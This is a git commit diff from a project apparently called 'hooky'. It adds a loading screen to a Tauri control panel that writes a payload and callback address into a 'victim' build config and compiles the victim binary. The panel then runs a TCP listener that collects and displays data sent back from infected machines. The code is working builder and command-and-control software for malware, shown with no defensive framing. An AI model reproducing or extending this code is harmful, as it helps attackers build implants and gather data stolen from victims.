~/hooky

8b2d02774184ee929b990fb42a09f05f3e1d3f6d — Arthur Melton 47d57e54 2 years ago
actually show loading
2 files changed, 70 insertions(+), 52 deletions(-)

M command/public/glue.js
M command/src-tauri/src/main.rs
M command/public/glue.js => command/public/glue.js +8 -1
@@ 8,10 8,17 @@ export async function invokeGen(features, payload, sendTo) {

        payload: payload,
        sendTo: sendTo
    });
    while (!(await is_done())) {
        await new Promise(r => setTimeout(r, 100));
    }
    document.getElementById("GenCover").style.display = "none";
    document.getElementById("dashboard").style.display = "block";
}

async function is_done() {
    return await invoke("is_done", {});
}

export async function isOn(
    id) {
    return await document.getElementById(id).checked;

@@ 30,4 37,4 @@ getPayload() {

export async function getIp() {
    return document.getElementById("ip").value + ":" +
        document.getElementById("port").value;
}
\ No newline at end of file
}

M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +62 -51
@@ 18,65 18,71 @@ use std::thread;

lazy_static! {
    pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));
    pub static ref INDEX: Arc<Mutex<usize>> = Arc::new(Mutex::new(0));
    pub static ref DONE: Arc<Mutex<bool>> = Arc::new(Mutex::new(false));
}

#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
    if payload == Some("".to_string()) {
        payload = None;
    }
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
    thread::spawn(move || {
        if payload == Some("".to_string()) {
            payload = None;
        }
        let mut path = std::env::current_exe().unwrap();
        for _ in 0..4 {
            path.pop();
        }
        path.push("victim");
        path.push("config.toml");
        let config = Config {
            payload: payload.clone(),
            send_to: send_to.clone(),
        };
        let mut file = File::create(path.clone()).unwrap();
        file.write_all(toml::to_string(&config).unwrap().as_bytes())
            .unwrap();
        file.sync_all().unwrap();
        path.pop();
    }
    path.push("victim");
    path.push("config.toml");
    let config = Config {
        payload: payload.clone(),
        send_to: send_to.clone(),
    };
    let mut file = File::create(path.clone()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes())
        .unwrap();
    file.sync_all().unwrap();
    path.pop();
    let mut args = vec!["build", "--release"];
    for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
        args.push("--features");
        args.push(i);
    }
    if payload.is_some() {
        args.push("--features");
        args.push("payload");
    }
    Command::new("cargo")
        .args(args)
        .current_dir(&path.display().to_string())
        .output()
        .expect("failed to execute process");
        let mut args = vec!["build", "--release"];
        for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
            args.push("--features");
            args.push(i);
        }
        if payload.is_some() {
            args.push("--features");
            args.push("payload");
        }
        Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");

    thread::spawn(move || {
        let listener =
            TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap())).unwrap();
        for stream in listener.incoming() {
            thread::spawn(move || {
                let mut stream = stream.unwrap();
                let mut total = Vec::new();
                let mut buffer = [0; 4096];
                while stream.read(&mut buffer).unwrap() == 4096 {
        thread::spawn(move || {
            let listener =
                TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap())).unwrap();
            for stream in listener.incoming() {
                thread::spawn(move || {
                    let mut stream = stream.unwrap();
                    let mut total = Vec::new();
                    let mut buffer = [0; 4096];
                    while stream.read(&mut buffer).unwrap() == 4096 {
                        for i in buffer {
                            total.push(i);
                        }
                    }
                    for i in buffer {
                        total.push(i);
                    }
                }
                for i in buffer {
                    total.push(i);
                }
                let new_sends: Sends = bincode::deserialize(&total).unwrap();
                let hooks = Arc::clone(&HOOKS);
                let mut hooks = hooks.lock().unwrap();
                (*hooks).push(new_sends);
            });
        }
                    let new_sends: Sends = bincode::deserialize(&total).unwrap();
                    let hooks = Arc::clone(&HOOKS);
                    let mut hooks = hooks.lock().unwrap();
                    (*hooks).push(new_sends);
                });
            }
        });
        let done = Arc::clone(&DONE);
        let mut done = done.lock().unwrap();
        *done = true;
    });
}


@@ 102,9 108,14 @@ fn get_new() -> Vec<Sends> {

    return sends[start_at..].to_vec();
}

#[tauri::command]
fn is_done() -> bool {
    (*DONE.lock().unwrap()).clone()
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new])
        .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new, is_done])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}